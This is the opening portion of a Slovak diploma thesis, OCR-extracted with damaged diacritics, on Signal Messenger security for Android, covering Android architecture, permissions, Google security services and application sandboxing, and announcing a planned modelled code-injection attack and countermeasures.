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ABSTRAKT

Hlavnym ciel'om diplomovej prace je analyza a nasledna modifikacia aplikacie ur¢enej na
prenos zabezpecene] hlasovej komunikacie v Sifrovanom rezime. Ako cielova aplikacia
pre tuto pracu bola zvolend Signal Messenger pre operaény systém Android. Jedna sa
o open source aplikdciu, ktorej zdrojovy kod je volne pristupny a modifikovatelny.
Teoreticka cast’ diplomovej prace bude obsahovat’ popis bezpecnostnej architektiary
aplikacie, jednotlivych funkcii a pouzitych Sifrovacich algoritmov so zameranim najmé na
ich bezpeénost. Dalej bude popisany komunika&ny protokol, ifrovacie jadro a uzivatel'ské
rozhranie. V praktickej Casti bude popisany samotny chod aplikécie, popis kodu spolu
s  pripadnymi  identifikovanymi  nedostatkami a  navrhovanymi  respektive

implementovanymi upravami v kode aplikacie.

KTIacové slova: Signal, Android, kéd, modifikécia, bezpe¢nost’
ABSTRACT

The main goal of the diploma thesis is the analysis and subsequent modification of an
application designed for the transmission of secure voice communication in encrypted
mode. Signal Messenger for the Android operating system was chosen as the target
application for this work. It is an open source application whose source code is freely
accessible and modifiable. The theoretical part of the thesis will contain a description of
the security architecture of the application, individual functions and encryption algorithms
used, focusing mainly on their security. Next, the communication protocol, the encryption
core and the user interface will be described. The practical part will describe the actual
operation of the application, a description of the code together with any identified

shortcomings and proposed or implemented modifications in the application code.

Keywords: Signal, Android, code, modification, security
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UvVOD

V dnesnej dobe modernych komunikacnych moznosti, 'udia pri vzdjomnej komunikacii
pouzivaju rézne mobilné zariadenia. Pouzivanie komunikacnych technolégii sa stalo
beznou sucastou zivota, vicSia cCast’ populdcie preferuje pouzivanie smartfonov
s operaénym systémom Android. Uzivatelia sa snazia chranit’ si svoje stikromie tym, ze
pouzivaju  Sifrovant komunikéciu. Takito komunikaciu ponuka napriklad aplikacia

Signal, ktora je vol'ne dostupna.

Teoreticka ¢ast’ diplomovej prace bude venovand vypracovaniu informa¢ného prehl’adu na
tému operacného systému Android z pohl'adu bezpecnosti a Sifrovania. Taktiez bude
popisané k ¢omu sluzi bezpecnostny certifikat a architektura kli¢ového hospodarstva.
Dalej bude teoreticka ¢ast’ venovana popisu nastroja mobile device management a popisu

aplikécie Signal, ktora bude hlavnou témou diplomovej prace.

V praktickej ¢asti diplomovej prace bude popisany modelovany utok na aplikaciu Signal
pomocou néstrojov, ktorymi sa bude injektovat’ Skodlivy kéd do aplikécie. Taktiez bude
sledovany sietovy trafik po injektazi Skodlivého kodu do aplikacie Signal. V pripade
uspesného utoku na aplikdciu budi narhnuté opatrenia na znemoznenie utoku aj
prostrednictvom nastroja mobile device management. Bude doporucena politika

a konfiguracia pre zefektivnenie zabezpecenia aplikacie.
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MOTIVACIA

K zadaniu tejto diplomovej praci viedol zaujem o analyzu aktualne dostupnych moznosti
na zabezpecenie hlasovej komunikacie v prostredi verejnych nechranenych sieti za pouzitia
bezne spotrebitel'sky dostupnych mobilnych zariadeni. Aktudlne je dostupnych mnozstvo
softvérov, ktoré podla tvrdeni ich vyrobcov zabezpecuju a chrania komunikaciu pred
nevyziadanym vyzradenim a modifikaciou tretou stranou. Redlna uroven poskytovaného
zabezpecenia je vSak otazna. Z pohladu bezpecnosti su vsak mobilné ,,smart* zariadenia
asi najhorSou volbou, kedZe potencidlne vektory utokov su velmi roéznorodé od
vstavanych obmedzeni mobilnych sieti, cez zranitenosti v operacnych systémoch az
k chybnej implementacii kryptografickych funkcii. Pri redlnom posudzovani Urovne
zabezpecenia mobilnych aplikdcii je tak potrebny komplexny pristup — je zbytocné
postavit’ takmer dokonaly kryptograficky systém, ak jeho samotnd implementacia bezi
v slabo zabezpeCenom opera¢nom systéme, kde je mozné priamo pozmenit jej systémové
premenné a vstupit’ do beziacich rutin. Ako ciel’ tejto diplomovej prace bola stanovena
aplikacia Signal, je relativne hojne vyuzivana, jej zdrojové kody su vol'ne Siritel'né, a podl'a
dostupnych informécii uz bola upravena niektorymi zahrani¢nymi institiciami. Téato
diplomova praca sa pokusi o co mozno najkomplexnej$iu analyzu Grovne poskytovaného
zabezpecenia mobilnou aplikaciou Signal na operatnom systéme Android, pokusi sa
vykonat' uspeSny Utok na integritu samotnej aplikdcie a dovernost prenaSanych dat.
Nésledne navrhne moZné opatrenia za uCelom zvySenia Urovne zabezpecenia

a poskytovanych bezpecnostnych zaruk.
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CIEL PRACE

Cielom diplomove] prace je vypracovat informacny prehlad na tému bezpecnost’

v operacnom systéme Android zamerané na aplikaciu Signal.

Bezpecnostou je myslené ako sa aplikacia Signal $iri z pohladu zdrojov, inStalacia
zoverenych a neoverenych zdrojov. Za overené zdroje sa da povazovat napriklad
internetovy obchod Google Play, ktory do istej miery testuje uverejnené aplikacie.
Testovanie bezpecnosti aplikacii je automatizované a uz niekol’kokrat nastali pripady, ked’
sa na Google Play podarilo nahrat’ modifikovant aplikaciu obsahujicu skodlivy kod. Za
neoverené zdroje moézeme povazovat rozne blogy a socidlne siete, ale aj rozne sposoby
podvrhnutia modifikovanych aplikacii, respektive ich dodatocni modifikaciu na samotnom

zariadeni.

Prostrednictvom vymodelovaného ttoku na aplikaciu bude vysvetlené ako Skodlivy kod
(malware) ohrozuje bezpecnost’ aplikdcie Signal, a na zéklade zistenych skutocnosti budu

navrhnuté opatrenia na znemoznenie utokov pre aplikdciu Signal.



UTB ve Zliné, Fakulta aplikované informatiky

12

I. TEORETICKA CAST
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1 OS ANDROID

Android je operacny systém vyvijany spolo¢nostou Google, ktory vyuZziva vicSina
vyrobcov mobilnych telefénov. Jedna sa o takzvany otvoreny operacny systém, ktory ma
prakticky neobmedzené moznosti prisposobenia. Niektoré upravy mozno vykondvat
pomocou zdkladného nastavenia, zatial ¢o d’alSie modifikacie je mozné kedykol'vek
stiahnut' z obchodu Google Play. Uzivatel tak moze velmi l'ahko upravovat’ nielen

grafické rozhrania, ale i sposob ovlddania telefonu. [1]

AR
l'l

anNo=0ID

Obréazok 1 Android [14]

1.1 Zakladny popis OS Androind

Android je mobilny operaény systém zalozeny na jadre Linuxu, ktory je dostupny ako
otvoreny software inak - open source. Je pouzivany v smartfonoch, tabletoch,
inteligentnych televizoroch a d’alSich zariadeniach. Jeho vyvoj vedie spolo¢nost Google
pod hlavickou konzorcia firiem ,,Open Handset Alliance* a vyrobcovia réznych zariadeni
modzu Android upravovat’ pri dodrzani stanovenych podmienok. Nazov je casto doplneny
o nazov prostredia, ktoré vyvija sam vyvojar napriklad MIUI od Xiaomi, One UI od
Samsung. [1-3]

Android ma najvécSie zastipenie na svete medzi ostatnymi systémami. Na tabletoch je
najpredavanej$im systémom od roku 2013 a na mobilnych telefénoch je dominantny
z akéhokol'vek pohladu. V tretom kvartali roku 2016 mal Android 86,8% podiel na trhu
predanych inteligentnych mobilnych telefonov. V celkovych predajoch je Android od roku
2015 na prvom mieste pred systémom iOS. [1-3]
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Napriek tomu je vlastny operacny systém Android otvoreny software a je tak pevne

spojeny s proprietarnymi sluzbami, ze nema zmysel pouzivat ho bez nich. [1]

Android vyvija konzorcium Open Handset Alliance, ktorého cielom je progresivny rozvoj
mobilnych technologii, ktoré budii mat” vyrazne nizSie naklady na vyvoj a distribliciu
a zaroven spotrebitel'om prinesie inovativne a uzivatel'sky privetivé prostredie. Pri vyvoji
systému boli bran¢ do uvahy obmedzenia, ktorymi disponuju klasické mobilné zariadenia,
ako vydrz baterie, menSia vykonnost a malo dostupnej paméite. Zaroven bolo jadro
Androidu navrhnuté pre fungovanie na réznych hardvérovych konfiguraciach. Systém tak
mdze byt pouzity bez ohladu na pouzitu hardvérovu platformu, Cipova sadu, velkost

alebo rozliSenie obrazovky. [1-3]

Samotna platforma Android dava k dispozicii nielen operany systém s uzivatel'skym
prostredim pre koncovych uzivatelov, ale ikompletné rieSenia nasadenia operacného
systému pre mobilnych operatorov a vyrobcov zariadeni. V neposlednej rade pre vyvojarov
aplikacii poskytuje efektivne nastroje pre ich vyvoj — Software Development Kit skratka

SDK. [4]

1.2 Rozhranie

Systém Android je zaloZeny na primarnej manipulacii, pri ktorej sa pouzivaju dotykové
vstupy na displeji zariadenia, ktoré volne zodpovedaju operacidm, ako sii posuvanie
dotykom pre manipulaciu s objektmi na obrazovke spolu s virtualnou klavesnicou. Fyzické
ovladace hier ardzne klavesnice st plne podporované prostrednictvom rozhrania
Bluetooth. Odpoved’ na vstup pouZzivatel’a je navrhnuta tak, aby bola okamzita a poskytuje
dotykové rozhranie, ktoré Casto vyuZiva vibratné schopnosti zariadenia na poskytnutie
haptickej spétnej vdzby. Zlozitejsie aplikacie ako napriklad hry, pouzivajl interny hardvér,
ako su akcelerometre, gyroskopy a bezdotykové senzory, aby reagovali na cinnost’
uzivatel'a, ako je riadenie vozidla v zdvodnej hre otd€anim telefénu ¢i tabletu, ktoré
simuluju ovladanie volantu alebo prispdsobuju obrazovku od zobrazenia na vysku do Sirky

v zavislosti od orientacie zariadenia. [1-3]

Zakladna obrazovka systému Android je tvorend ikonami aplikdcii a miniaplikdciami.
Ikony aplikacii spuStaju priradenti aplikdciu, zatial Co widgety zobrazuju 7zivy,

automaticky aktualizovany obsah ako napriklad pocasie. Zakladnd obrazovka modze
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pozostavat' z viacerych stranok, medzi ktorymi sa moéze pouzivatel volne presuvat.
Aplikacie, ktoré moézeme ziskat zo sluzby Google Play, mo6zu pozmenit tvodnu
obrazovku a dokonca napodobnit’ vzhlad inych opera¢nych systémov. Vyrobcovia
zariadeni prisposobuju vzhl'ad a vlastnosti svojich produktov systémom Android tak, aby

sa lisili od konkurentov. [1-3]

V hornej Casti obrazovky sa nachadza stavova lista, kde st zobrazené informacie
o zariadeni. Thto stavovu liStu je mozné potiahnut’ a zobrazit’ podrobnosti s upozornenim,
kde aplikacie zobrazuju ddlezité informacie ako je stav batérie, aktivacia alebo deaktivacia
Wi-Fi a aktualizacie. Upozornenia su vystizné a zobrazuju aktualne informacie o aplikécii,
pocnuc od verzie systému Android 4.1 Jelly Bean sl upozornenia rozbalite'né a umoziuja

pouzivatel'ovi upozornenia rozbalit’ a zobrazit’ d’alSie informacie. [1-3]
1.3 Aplikacie

Aplikacie pre rozSirenie funkcnosti zariadeni, sa tvoria vo vyvojovom softvéri Android
skratka SDK a vprogramovacom jazyku Java. Javu je mozné kombinovat
s programovacimi jazykmi C alebo C ++, spolu s vyberom predvolenych runtime kniZnic.
Podporu ma aj programovaci jazyk Go, s obmedzenym suborom rozhrani na
programovanie aplikacii API. V roku 2017 spolocnost’ Google vyjadrila podporu pre

tvorbu aplikécii v programovacom jazyku Kotlin. [1]

SDK obsahuje wuceleni sadu vyvojovych nastrojov vratane ladiaceho programu,
softvérovych kniznic, dokumentacie, vzorového kodu a vyukovych programov. V roku
2014 spolocnost’ Google vydala Android Studio zalozené pre vyvoj aplikacii Android.
TaktieZ su k dispozicii d’alSie vyvojové néstroje, vratane vyvojovej supravy pre aplikacie
alebo rozSirenia v C alebo C++, Google App Inventor. K dispozicii je aj vizualne
prostredie pre novych programatorov a rdzne platformy webovych aplikacii pre mobilné

platformy zariadeni. [1,4]

Android ma rastuci vyber aplikacii tretich stran, ktoré mozu uzivatelia ziskat’ stiahnutim
inStalacného suboru APK aplikacie, alebo ich stiahnutim pomocou programu na ukladanie
aplikacii, ktory umoziuje uzZivatelom inStalovat, aktualizovat a odstranovat’ aplikacie
z mobilov alebo tabletov. Obchod Google Play je internetovy obchod s aplikadciami

predinitalovany na zariadeniach s operaénym systémom Android, ktory spiia poziadavky
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spolo¢nosti Google na kompatibilitu a licencuje softvér Google Mobile Services. Obchod
Google Play umoziiuje uzivatelom prehliadat, stahovat a aktualizovat aplikacie
zverejnené¢ spolocnostou Google a vyvojarmi. Viaceri operatori ponukaju priamu
fakturaciu operatora za nakupy aplikacii Google Play. Od roku 2017 existuje viac ako

miliarda aktivnych pouzivatelov. [1,4]

Vzhladom na open source systém Android existuje niekolko trhov aplikacii, ktoré
poskytuju vyvojari tretich stran ako nahradu za zariadenia, ktoré nemaju pristup na
dodavku so sluzbou Google Play Store. Poskytuju aplikacie, ktoré st ponukané i napriek
poruseniu pravidiel alebo z inych dévodov, v inych obchodoch. Medzi tieto obchody

tretich stran patria napriklad Amazon Appstore , GetJar a SlideMe. F-Droid. [1,4]

1.4 Bezpecnostné hrozby

Bezpecnostna spolocnost’” Trend Micro vo svojom vyskume uvadza zneuzivanie sluzieb
ako najbeznejsi typ Skodlivého softvéru pre Android, ked si textové spravy odosielané
z infikovanych telefonov na urcité telefénne cisla vdcSinou bez suhlasu alebo niekedy
1s vedomim pouzivatel'a. R6zne Skodlivé softvéry zobrazuju na zariadeniach neZziaduce
arusivé reklamy alebo odosielaji osobné udaje neopravnenym tretim strandm.
Bezpecnostné hrozby sa pre Android udajne zvySuji exponencidlne. Spolo¢nost Google
tvrdi, Ze bezpecnostné spolocnosti z obchodnych dévodov zvelicuju hrozbu Skodlivého
softvéru a virusov v systéme Android a vinia bezpe¢nostny priemysel z obav z predaja
softvéru na ochranu pred virusmi. Google tvrdi, Ze nebezpecny softvér je vel'mi zriedkavy,
a prieskum ktory uskutocnila spolocnost’ F-Secure ukézal, ze iba 0,5% hlasené¢ho

Skodlivého softvéru pre Android pochadzalo z obchodu Google Play. [1]

Aktudlne ma vSak Android okolo 75 - 80 percent celosvetového trhu so smartfonmi - ¢o
z neho robi najpopularnejs$i mobilny operacny systém na svete. Z tohto dovodu sa tak
zabezpecenie operacn¢ho systému Android stalo problémom, nakolko bezpecnostné
zranitel'nosti zasiahnu vacSinu vSetkych uzivatelov. Android stidle pouziva retazec

prikazov na aktualizaciu softvéru, ktory nefunguje. [1]

Opravy chyb najdenych v jadre operacného systému nezahfiiaju uzivatel'ov starSich

a lacnejSich zariadeni. Tym, Ze operacny systém Android ma otvoreny zdrojovy kod,
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umoznuje dodavatelom zabezpeCenia prevziat existujuce zariadenia a upravit ich na

bezpecné pouzitie. [1]

Smartfony s Androidom mézu nahlasovat’ polohu pristupovych bodov Wi-Fi, s ktorymi sa
stretdvaju uzivatelia telefonov pri vytvarani databaz obsahujucich skuto¢né polohy vo
velkom mnozstve takychto pristupovych bodov. Pomoocu tychto databaz st tvorené
elektronické mapy na lokalizaciu zariadeni a umoziuji im spustat aplikacie ako
Foursquare, Google Latitude, Facebook Miesta a taktiez zobrazovat’ reklamy zalozené na
polohe. Monitorovaci softvér, ako napriklad TaintDroid, projekt akademického vyskumu,
mdze v niektorych pripadoch zistit, kam, a na ktoré vzdialené servery sa uzivatel'ské

informécie odosielaju . [1]
1.5 Technické bezpe¢nostné prvky

Android aplikacie bezia v karanténe vo virtualizovanom prostredi. Karanténa je izolovana
oblast’ systému ktord za Standardnych okolnosti nemé pristup ku zvySku systémovych
prostriedkov, pokial’ to pristupové opravnenia neumoznuju. Od verzie opera¢ného systému
Android 6 anovsich, nie je mozné bez Specidlnych opravneni prevziat' pristup
k systémovym prostriedkom (napr. mikrofonu) od inej aplikécie bez vedomia pouZivatela.

[1,4]

V roku 2012 bola v ramci operacného systému Android 4.2 Jelly Bean zavedena sluzba
overenia aplikacie na kontrolu pred Skodlivym kédom vo vsetkych aplikéaciach zo sluzby

Google Play. [7]

Pred inStaldciou aplikdcie v obchode Google Play sa ukaZe zoznam pozadovanych
opravneni, ktoré aplikacia vyZaduje pre svoju funkcionalitu. Po precitani tychto opravneni
si uzivatel moze zvolit’ ich prijatie alebo odmietnutie. InStalovat’ aplikaciu je mozné iba
v pripade, Ze podmienky akceptuje. V Androide 6.0 bol systém povoleni zmeneny.
Aplikaciam sa pri inStalacii automaticky neudelia vSetky povolenia. Namiesto toho sa
pouziva systém prihldsenia, pri ktorom sa uZivatelom zobrazi vyzva na udelenie alebo
zamietnutie jednotlivych povoleni pre aplikaciu. Aplikacie si pamétaji pridelené
opravnenia, ktor¢ moéze uzivatel kedykol'vek odvolat. PredinStalované aplikédcie vSak

nemusia byt sicastou tohto pristupu. V urcitych pripadoch nemusi byt mozné zamietnut’
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urcité povolenia pre predinstalované aplikacie ani ich zakazat. Aplikdciu Google Play nie

je mozné odinstalovat’ ani zakazat'. [1,4]

V roku 2014 spolo¢nost’ Jason Nova pracujuca pre Android informovala o $tadii nemecke;j
bezpec¢nostnej spolo¢nosti Fraunhofer AISEC o antivirusovom softvéri a hrozby
Skodlivého softvéru v systéme Android. Jason Nova zverejnila, Ze operacny systém
Android pracuje so softvérovymi balikmi tak, ze ich umiestituje do karantény. To znamena
ze nepovoluje aplikacidm uvadzat' obsah adresarov inych aplikacii, aby bol systém
bezpecny. Aplikacie, ktoré pri stiahnuti nevykazuji ziadne zvlaStne spravanie, sa
vyhodnotia ako bezpe¢né. Stadia spoloénosti Fraunhofer AISEC, ktord sa zaobera
antivirusovym softvérom od firiem ako Avast, AVG, Bitdefender, ESET, F-Secure,
Kaspersky, Lookout, McAfee, Norton, Sophos ¢i Trend Micro odhalili, ze testované
antivirusové aplikacie nezabezpecuju ochranu pred prisposobenym skodlivym softvérom
alebo cielenymi utokmi, a Ze testované antivirusy nedokazali detekovat’ Skodlivy softvér,
ktory bol k aktudlnemu datumu tplne neznamy a pritom nevyvija ziadnu aktivitu, aby skryl

svoju Skodlivost’. [1,4]
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2 ZABEZPECENOST ZARIADENIA ANDROID

Systém Android garantuje istu Groven bezpecnosti a spolupracuje s vyvojarmi zariadeni na
zabezpeceni bezpecCnosti platformy Android ajeho ekosystému. Odolny model
zabezpecenia je nevyhnutny na umoznenie spol'ahlivého ekosystému aplikacii a zariadeni
postavenych na platforme Android a dalSich podporovanych cloudovych sluzieb.
Opera¢ny sytém Android bol pocas celého vyvoja podrobeny prisnemu bezpecnostnému

programu. [5]

Android je zo svojho principu navrhnuty ako otvoreny. Aplikdcie pre Android pouZzivaju
pokrocily hardvér a softvér, ako aj lokdlne a doruCované udaje, ktoré su pristupné
prostrednictvom platformy, ktord uzivatelom prindsa pozadovanu funkcionalitu. Platforma
pontka mnozstvo aplikacii, ktoré chrania dovernost, integritu a dostupnost’ pouzivatel'ov,

udajov, aplikécii, zariadenia a siete. [1,5]

Zabezpecenie otvorenej platformy potrebuje pevnlil bezpe¢nostni architekturu a prisne
bezpe¢nostné programy. Android je navrhnuty s viacvrstvovym zabezpecenim, ktoré je
dostato¢ne prispdsobivé, aby podporovalo otvorent platformu a zaroven chranilo vSetkych

uzivatel'ov tejto platformy. [1,5]

Android je ur€eny aj pre vyvojarov. Jednym z cielov bezpecnostnych kontrol bolo
minimalizovat’ zataZenie vyvojarov. Vyvojari, ktori pracuji na zabezpeceni, mdzu
jednoducho pracovat’ a spoliehat sa na pruzné bezpecnostné kontroly. Vyvojari menej
obozndmeni s bezpecnost'ou st chraneni bezpe€ne zvolenymi zdkladnymi parametrami.

[1,5]

Okrem poskytovania zakladnej platformy, na ktorej je mozné stavat, Android poskytuje
vyvojarom aj d’alSiu podporu. Tim pre zabezpecenie systému Android hl'add mozné chyby
v aplikéciach a navrhuje sposoby, ako tieto problémy vyriesit. Pre zariadenia so sluzbou
Google Play dodéavaju aj sluzbu aktualizacie zabezpecenia pre kritické softvérové kniZnice.

[1,5]

Android je hlavne wurceny pre wuzivatelov. Uzivatelia maja pristup k prehladu
o povoleniach vyzadovanych kazdou aplikaciou a kontrolu nad tymito povoleniami. Tento

navrh predpoklada, Ze sa
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by sa utocnici mohli pokusit’” vykonat bezné utoky, ako napriklad utoky za vyuzitia
socialneho inzinierstva. Android je vytvoreny tak, aby znizil pravdepodobnost’ utokov a
obmedzil dopad utoku v pripade, Ze bol uspesny. Zabezpecenie systému Android je
aktivne, aj ked’ je zariadenie v rukach uzivatel'a. Android spolupracuje s firmami
a verejnostou na poskytovani oprav pre ktorékol'vek zariadenie Android, ktoré dostava

aktualizacie zabezpecenia. [5]

2.1 Overenie zdrojov

Android poskytuje platformu verejnych zdrojov a prostredia aplikacii pre mobilné

zariadenia. [5]
Hlavné stavebné bloky platformy Android su:

e Hardvér zariadenia: Android bezi na hardvérovych konfiguraciach ako su mobilné
telefony, tablety, hodinky, automobily, inteligentné televizory, hracie boxy.

e Operacny systém Android: Je postaveny na jadre systému Linux. Prostrednictvom
operaéného systému st pristupné prostriedky zariadenia, ako napriklad funkcie
fotoaparatu, udaje GPS, funkcie Bluetooth.

e Runtime aplikacie pre Android : Aplikacie su napisané v programovacom jazyku
Java a spustaji sa v prostredi Android. Aplikacie dostan urcitii Cast’ systému
stiborov, v ktorom moZzu pracovat, zapisovat sukromné udaje vratane databaz

a nespracovanych stiborov. [5]
Aplikdacie rozsirujuce operacny systém Android:

e Predinstalované aplikacie: PredinStalované aplikéacie vratane telefonu, e-mailu,
kalendéara, webového prehl'addvaca a kontaktov v systéme Android funguju ako
pouzivatel'ské aplikacie a poskytuju zdkladné funkcie zariadeni, ku ktorym maju
pristup d’alSie aplikacie. PredinsStalované aplikdcie mo6Zzu byt sucast'ou otvorenej
platformy Android alebo mézu byt vyvinuté vyrobcom zariadenia pre urcité
zariadenie.

e Uzivatelom nainStalované aplikacie: Android poskytuje otvorené vyvojové

prostredie, ktoré podporuje l'ubovolni aplikaciu poskytovanu tretimi stranami. [5]
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2.2 Bezpecnost’ sluzby Google

Spolo¢nost” Google poskytuje sadu vzdialenych sluzieb, ktoré¢ mozu pouzit kompatibilné
zariadenia Android s mobilnymi sluzbami Google. Aj napriek tomu, ze sluzby nie st
sucastou projektu Android Open Source Project, st cCastou mnohych zariadeni

s Androidom. [5]

Obrazok 2 Zabezpecenie Google [15]

Hlavnymi bezpecnostnymi sluzbami Google su:

e Google Play je suhrn sluzieb, ktoré uzivatelom umoznuju instalovat’ a nakupovat’
aplikdcie zo svojho zariadenia s Androidom. Google Play tvorcom zlahcuje
oslovenie pouZivatel'ov systému Android a potencidlnych zakaznikov. Google Play
tiez ponuka kontrolu komunity, overovanie licencii na aplikacie, skenovanie
zabezpecenia aplikacii a mnohé bezpecnostné sluzby.

e Aktualizacnd sluzba Android prinaS8a moZnosti a aktualizicie zabezpecenia
vybranym zariadeniam Android, vratane aktualizicii prostrednictvom webu.

e Sluzby aplikécii: Umoziuje aplikdciam Android pouzivat’ cloudové funkcie, ako su
zalohovanie udajov a nastaveni aplikacii a zasielanie sprav typu cloud-to-device na
zasielanie sprav.

e Overenie aplikacii: Varovanie alebo automatické blokovanie instalacie Skodlivych
aplikacii a online prehl'adavanie aplikacii v zariadeni, varovanie a odstranenie
Skodlivych aplikécii .

e SafetyNet: Systém na ochranu stkromia chréni stikromie a pomaha pri sledovani
spolocnosti Google, eliminuje zndme bezpecnostné hrozby a identifikuje nové

bezpecnostné hrozby.
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SafetyNet Atestation: API tretich stran na urcenie, ¢i je zariadenie kompatibilné
s CTS. Atestacia mdze tiez identifikovat aplikaciu pre Android komunikujicu
s aplikacnym serverom.

Spravca zariadenia Android: Webova aplikacia a tiez aplikdcia pre Android na

vyhl'adanie stratené¢ho ¢i ukradnutého zariadenia. [1,5]

2.3 Prehlad bezpecnostného programu

Medzi primarne sucasti programu zabezpecenia Android patria:

Presktimanie navrhu: Proces zabezpecenia systému Android sa zacina na zaciatku
zivotného cyklu vyvoja vytvorenim Sirokého a konfigurovatelného modelu
a vzhladu zabezpecenia.

Testovanie prieniku a kontrola kodu: Pocas vyvoja platformy su komponenty so
zdrojovym kédom a sucasti vytvorené systémom Android predmetom dokladného
preskiimania zabezpecenia.

Kontrola otvorené¢ho zdroja a komunity: AOSP umoznuje obsiahlu kontrolu
zabezpecenia z ktorejkol'vek strany.

Odpoved’ na incident: Po zisteni opravnenych problémov ma dostatok priestoru na
reakény proces, ktory umoziiuje rychle zmiernenie slabych miest, aby sa
minimalizovalo mozné riziko pre vSetkych pouzivatelov Android. Tieto odpovede
podpory cloudom mdézu zahfnat aktualizaciu platformy, odstranenie aplikécii zo
sluZzby Google Play a taktiez odstranenie aplikacii zo zariadeni v teréne.

Mesacné aktualizacie zabezpecenia: Tim zabezpefenia Android poskytuje mesacné

aktualizacie pre zariadenia. [5]

2.4 Architektira zabezpecenia platformy

Android ma zdujem byt najbezpecnejSim a najuzitocnejSim operacnym systémom pre

mobilné platformy tym, ze overené ovladacie prvky zabezpeCenia operacného systému

znovu nasadi na:

Chranenie dat aplikacii a uzivatel'ov
Chranenie systémovych prostriedkov vratane siete

Poskytnutie izolacie aplikacii od systému, ostatnych aplikécii a od uzivatela [1,5]
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Na dosiahnutie tychto ciel'ov poskytuje Android tieto kI'icové bezpecnostné funkcie:

e Robustné zabezpecenie na irovni operacného systému
e Povinna karanténa pre vSetky aplikacie
e Zabezpecena medziprocesova komunikacia

e Podpisovanie aplikécii [1,5]
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3 ZABEZPECENIE APLIKACII

Android ponuka platformu otvorenych zdrojov a aplikaéné prostredie pre mobilné
zariadenia. Aplikacie pre Android su obycajne napisané v programovacom jazyku Java

a si spastané na virtudlnom pocitaci Dalvik. Aplikdcie mo6Zzu byt pisané aj v nativhom

kode. Aplikacie sa inStaluji zo stiboru s priponou .apk. [5]

Obrazok 3 Zabezpecenie aplikacii [16]

Hlavné stavebné bloky aplikacii pre Android su:

e AndroidManifest.xml : Tento subor je kontrolny subor, ktory systém instruuje, ako
pracovat so vSetkymi komponentmi najvyssej rovne.

« Cinnosti : Aktivita je vo vSeobecnosti kodom pre jednu twlohu zamerani na
uzivatela.

e Sluzby: Je stbor kodu, ktory je spusteny na pozadi. Moze bezat' vo vlastnom

procese alebo v kontexte iného postupu aplikacie. Prikladom je sluzba prehravaca
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médii - v pripade ked’ uzivatel ukon¢i uzivatel'ské rozhranie pre vyber médii,
pravdepodobne ma stale v umysle pokracovat’ v prehravani hudby. Sluzba udrzuje
hudbu v chode aj po dokonceni uzivatel'ského rozhrania.

e Prijimac vysielania: Je objekt, ktory sa vytvori, ked” je operacnym systémom alebo
inou aplikaciou vydany mechanizmus IPC. Aplikdcia moze zaregistrovat’ prijimac

pre spravu o slabej batérii a na zaklade tychto informacii zmenit’ svoje priority. [6]
3.1 Chranené rozhranie API

Aplikacie v systéme Android funguju v karanténe aplikécii. V predvolenom nastaveni ma
aplikdcia pre Android pristup iba k ¢iastocnému rozsahu systémovych prostriedkov.
Systém spravuje pristup aplikacii k zdrojom, ktoré by pri zlom alebo $kodlivom pouziti

mohli nepriaznivo ovplyvnit’ dojem uzivatel’a, siet’ alebo udaje v zariadeni. [6]

Takéto obmedzenia sa uplatiiuji v mnohych forméch. Niektoré funkcie st zdmernym
nedostatkom rozhrani API obmedzujucich niektoré citlivé funkcie. V réznych pripadoch
poskytuje oddelenie uloh bezpecnostné opatrenie, ako je to pri izolacii tloziska podla
aplikécii. V dalSich pripadoch st citlivé API urCené na pouzitie v ddéveryhodnych
aplikaciach a st ochranené prostrednictvom bezpecnostného mechanizmu znameho ako

Povolenia. [6]
Medzi tieto chranené API patria:

o Funkcie fotoaparatu

« Udaje o polohe

e Funkcie Bluetooth

e Telefonne funkcie

o Funkcie SMS alebo MMS

o Sietové alebo datové pripojenia

Tieto prostriedky st pristupné iba prostrednictvom operaéného systému. Aby bolo
umoznené vyuzivat’ chrdnené API v zariadeni, musi aplikacia konkretizovat’ vo svojom
manifeste potrebné funkcie. Systém Android verzia 6.0 a vyS$$ia pouzZiva model runtime

povoleni. Ak uzivatel’ pozaduje aplikaciu z aplikacie, ktora vyzaduje chranené rozhranie
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API, systém zobrazi dialdgové okno s vyzvou na zamietnutie alebo povolenie Povolenia.

[6,19]

Po udeleni sa povolenia v€lenia do aplikacie, pokial’ je tato nainStalovana. Aby sa predislo
chybam, systém uz neinformuje uzivatel'a o opravneniach udelenych aplikacii. Aplikacie,
obsiahnuté v hlavnom opera¢nom systéme alebo zoskupené vyrobcom OEM, nevyzaduji

od uzivatel'a povolenia. Ak je aplikacia odinstalovana, povolenia sa odstrania. [6]

V rédmci nastaveni zariadenia mozu uzivatelia zobrazit’ povolenia pre aplikdcie, ktoré
predtym nainstalovali. Uzivatelia mézu (ked’ sa rozhodnu) tiez vypnut niektoré funkcie na

globalnej trovni. Prikladom takychto vypnutelnych funkcii je systém GPS alebo Wi-Fi.
[6]

V pripade, Ze sa aplikacia skuasi pouzit' chranenu funkciu, ktora nebola uvedena
v manifeste aplikacie, povedie toto zlyhanie povolenia ku vrateniu bezpe¢nostnej vynimky
do aplikacie. Kontrol povolenia bezpe¢nostného rozhrania API sa vykondva na najnizsej
urovni, aby sa zabranilo jeho obchadzaniu. Napriklad spravy uzivatel'ov, ked’ je aplikacia

inStalovana pri pozadovani pristupu k chrdénenym API . [6]

Aplikacie mo6zu prezentovat’ svoje vlastné povolenia na pouzivanie inymi aplikaciami.

Tieto povolenia nie su uvedené na vysSie uvedenom mieste. [6]

Pri definovani povolenia atribit Protection Level uvadza spdsob, ako méa byt uzivatel

informovany o aplikéaciach, ktoré vyzaduji povolenie, alebo kto moZe povolenie drzat’. [6]

Existujii niektoré mozZnosti zariadeni, napriklad schopnost’ posielat’ zdmery vysielania
textovych sprav, ku ktorym nemaju pristup aplikacie tretich stran, ale ktoré mézu pouzivat’
aplikacie nainStalované vyrobcom. Tieto opravnenia uzivaji povolenie Signature Or

System. [6]

3.2 Tretia strana

Android objastiuje uzivatelom, ked’ pouzivaju aplikdcie tretich strdn, a informuje
pouzivatela o moZnostiach, ktoré tieto aplikdcie maji. Pred inStalaciou akejkol'vek

aplikacie sa pouzivatelovi zobrazi jasnd sprava o roznych povoleniach, ktoré pozaduje
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aplikacia. Po inStalacii sa uZzivatel'ovi uz neukdze vyzva na potvrdenie akychkol'vek

povoleni. [6]

Existuju dovody na to, aby sa povolenia zobrazovali bezprostredne pred priamou
instalaciou. V takom pripade uzivatel’ aktivne kontroluje informécie o aplikacii, vyvojarovi
a funkecii, aby zistil, ¢i zodpoveda jeho potrebam a ocakévaniam. Je tiez ddlezité, aby si
